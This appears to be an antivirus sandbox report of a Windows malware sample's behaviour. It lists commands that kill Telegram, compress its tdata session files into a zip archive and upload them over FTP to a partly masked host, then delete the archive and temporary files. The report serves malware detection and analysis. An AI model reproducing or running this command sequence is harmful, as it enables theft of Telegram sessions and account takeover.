Technical Information
Malicious functions
Executes the following
- '<SYSTEM32>\taskkill.exe' /IM "telegram.exe" /F
Modifies file system
Creates the following files
- %TEMP%\2d9a.tmp\2d9b.bat
- %APPDATA%\telegram desktop\tdata\temp.txt
Deletes the following files
- %APPDATA%\telegram desktop\tdata\temp.txt
- %TEMP%\2d9a.tmp\2d9b.bat
Network activity
TCP
- 'ft###load.net':21
UDP
- DNS ASK ft###load.net
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: ''
Executes the following
- '<SYSTEM32>\cmd.exe' /c "%TEMP%\2D9A.tmp\2D9B.bat <Full path to file>"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -window hidden -command ""
- '<SYSTEM32>\cmd.exe' /S /D /c" echo y"
- '<SYSTEM32>\cmd.exe' /S /D /c" rmdir /S dumps"
- '<SYSTEM32>\cmd.exe' /S /D /c" rmdir /S user_data"
- '<SYSTEM32>\cmd.exe' /S /D /c" rmdir /S emoji"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Compress-Archive * 25612.zip
- '<SYSTEM32>\ftp.exe' -s:temp.txt
- '<SYSTEM32>\cmd.exe' /S /D /c" del 25612.zip"
